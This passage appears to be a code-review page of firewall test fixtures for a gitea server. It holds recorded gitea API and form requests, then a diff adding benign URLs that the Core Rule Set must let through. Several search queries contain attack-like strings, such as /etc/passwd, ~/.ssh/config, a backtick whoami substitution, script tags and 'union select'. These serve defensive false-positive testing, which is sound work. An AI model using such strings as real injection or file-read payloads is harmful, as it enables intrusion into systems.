{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
+844
View File
@@ -0,0 +1,844 @@
# Ordinary gitea 1.27 requests that the Core Rule Set must let through at the
# defaults. Each line is a path and query, and may end with one header after a
# space. The tests of internal/coreruleset inspect each as a GET. The Core Rule Set reads
# the query and the headers the same way for any method.
# Searches with ordinary words and symbols.
/owner/repo/search?q=package.json
/owner/repo/search?q=.gitignore
/owner/repo/search?q=docker-compose.yml
/owner/repo/search?q=python3
/owner/repo/search?q=ssh%20key
/owner/repo/search?q=feat%2Fdocker-support
/owner/repo/search?q=ls%20-la
/owner/repo/search?q=sed%20-i
/owner/repo/search?q=%2Fbin%2Fsh
/owner/repo/search?q=%60make%20check%60
/owner/repo/search?q=%60whoami%60
/owner/repo/search?q=fetch%28
/owner/repo/search?q=%24%7BVAR%7D
/owner/repo/search?q=%24%28pwd%29
/owner/repo/search?q=process.env
/owner/repo/search?q=%3Cimg%20src%3D
/owner/repo/search?q=%3Cscript%3E
/owner/repo/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/search?q=union%20select
/owner/repo/search?q=http%3A%2F%2F127.0.0.1%3A8080
/owner/repo/search?q=..%2F
/owner/repo/search?q=%2Fetc%2Fpasswd
/owner/repo/search?q=eval%28
/owner/repo/search?q=chmod%20%2Bx
/owner/repo/search?q=echo%20%24PATH
/owner/repo/search?q=java.lang.Runtime
/owner/repo/search?q=document.cookie
/owner/repo/search?q=alert%281%29
/owner/repo/search?q=__proto__
/owner/repo/search?q=C%3A%5CWindows%5CSystem32
/owner/repo/search?q=Invoke-WebRequest
/owner/repo/search?q=if%20%28a%20%3D%3D%20b%29%20%7B
/owner/repo/search?q=sudo%20apt%20install
/owner/repo/search?q=~%2F.ssh%2Fconfig
/owner/repo/search?q=.htaccess
/owner/repo/search?q=%24_GET%5B
/owner/repo/search?q=%24_POST
/owner/repo/search?q=%24_SERVER%5B%27REQUEST_URI%27%5D
/owner/repo/search?q=%3C%3Fphp%20echo
/owner/repo/search?q=information_schema
/owner/repo/search?q=LIKE%20%27%25foo%25%27
/owner/repo/search?q=onClick%3D%7B
/explore/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/explore/code?q=%3Cimg%20src%3D
/owner/-/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/-/code?q=%3Cimg%20src%3D
/owner/repo/issues?type=all&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues?type=all&state=open&q=%3Cimg%20src%3D
/owner/repo/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues/search?q=%3Cimg%20src%3D
/owner/repo/pulls?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/pulls?q=%3Cimg%20src%3D
/issues?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/issues?type=your_repositories&q=%3Cimg%20src%3D
/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/issues/search?q=%3Cimg%20src%3D
/pulls?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/pulls?type=your_repositories&q=%3Cimg%20src%3D
/owner/repo/commits/branch/main/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/commits/branch/main/search?q=%3Cimg%20src%3D
/api/v1/repos/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/issues/search?q=%3Cimg%20src%3D
/api/v1/repos/owner/repo/issues?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/owner/repo/issues?q=%3Cimg%20src%3D
# Searches for the names of repositories, users, branches, tags and packages.
/explore/repos?q=python3-app
/explore/repos?q=.profile
/explore/repos?q=powershell-scripts
/api/v1/repos/search?q=docker-build
/user/search_candidates?q=docker-ci
/owner/repo/branches?q=feat%2Fdocker-support
/owner/repo/tags?q=docker-v1.0
/owner/-/packages?q=python3-requests
/owner/-/packages?q=org.apache.commons.logging
/repo/search?q=python3-app
/repo/search?q=docker-build
/repo/search?q=powershell-scripts
/repo/search?q=.profile
/owner?tab=repositories&q=python3-app
/org?q=python3-app
/owner/repo/issues/posters?q=docker-ci
/owner/repo/pulls/posters?q=docker-ci
/explore/users?q=docker-ci
/explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# The searches of the pages gitea and Forgejo share, with the fields their
# forms send, recorded from gitea 1.27.3. Each searches for words that name
# commands and files, such as python3 and .htaccess, and for plain words. A tag
# or package name can hold a slash, so the tags and packages pages also search
# for /bin/sh. The packages pages also search for a Maven name. The issues and
# pull requests of one team, and those of one milestone, are also searched for
# SQL. Each search of a package's versions is sent for a generic package and for
# the npm package @alice/tools-cli, whose name holds a slash.
/explore/topics/search?q=python3
/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3
/issues/search?q=python3
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=python3
/notifications/watching?q=python3&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3
/org/acme/teams/-/search?q=python3
/alice/-/code?q=python3&search_mode=exact
/alice/-/projects?state=open&q=python3
/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc
/alice/tools/tags?q=python3
/alice/tools/milestones?state=open&q=python3
/alice/tools/milestone/1?q=python3
/alice/tools/projects?state=open&q=python3
/alice/tools/packages?q=python3&type=
/alice/tools/issues/posters?q=python3
/alice/tools/pulls/posters?q=python3
/alice/tools/issues/search?q=python3
/alice/tools/issues/suggestions?q=python3
/-/admin/actions/runners?q=python3
/user/settings/actions/runners?q=python3
/org/acme/settings/actions/runners?q=python3
/alice/tools/settings/actions/runners?q=python3
/-/admin/users?q=python3
/-/admin/orgs?q=python3
/-/admin/repos?q=python3&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=python3
/-/admin/emails?q=python3
/-/admin/packages?q=python3&type=
/explore/topics/search?q=powershell
/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell
/issues/search?q=powershell
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=powershell
/notifications/watching?q=powershell&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell
/org/acme/teams/-/search?q=powershell
/alice/-/code?q=powershell&search_mode=exact
/alice/-/projects?state=open&q=powershell
/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc
/alice/tools/tags?q=powershell
/alice/tools/milestones?state=open&q=powershell
/alice/tools/milestone/1?q=powershell
/alice/tools/projects?state=open&q=powershell
/alice/tools/packages?q=powershell&type=
/alice/tools/issues/posters?q=powershell
/alice/tools/pulls/posters?q=powershell
/alice/tools/issues/search?q=powershell
/alice/tools/issues/suggestions?q=powershell
/-/admin/actions/runners?q=powershell
/user/settings/actions/runners?q=powershell
/org/acme/settings/actions/runners?q=powershell
/alice/tools/settings/actions/runners?q=powershell
/-/admin/users?q=powershell
/-/admin/orgs?q=powershell
/-/admin/repos?q=powershell&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=powershell
/-/admin/emails?q=powershell
/-/admin/packages?q=powershell&type=
/explore/topics/search?q=ls%20-la
/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la
/issues/search?q=ls%20-la
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=ls%20-la
/notifications/watching?q=ls%20-la&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la
/org/acme/teams/-/search?q=ls%20-la
/alice/-/code?q=ls%20-la&search_mode=exact
/alice/-/projects?state=open&q=ls%20-la
/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc
/alice/tools/tags?q=ls%20-la
/alice/tools/milestones?state=open&q=ls%20-la
/alice/tools/milestone/1?q=ls%20-la
/alice/tools/projects?state=open&q=ls%20-la
/alice/tools/packages?q=ls%20-la&type=
/alice/tools/issues/posters?q=ls%20-la
/alice/tools/pulls/posters?q=ls%20-la
/alice/tools/issues/search?q=ls%20-la
/alice/tools/issues/suggestions?q=ls%20-la
/-/admin/actions/runners?q=ls%20-la
/user/settings/actions/runners?q=ls%20-la
/org/acme/settings/actions/runners?q=ls%20-la
/alice/tools/settings/actions/runners?q=ls%20-la
/-/admin/users?q=ls%20-la
/-/admin/orgs?q=ls%20-la
/-/admin/repos?q=ls%20-la&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=ls%20-la
/-/admin/emails?q=ls%20-la
/-/admin/packages?q=ls%20-la&type=
/explore/topics/search?q=.htaccess
/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess
/issues/search?q=.htaccess
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=.htaccess
/notifications/watching?q=.htaccess&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
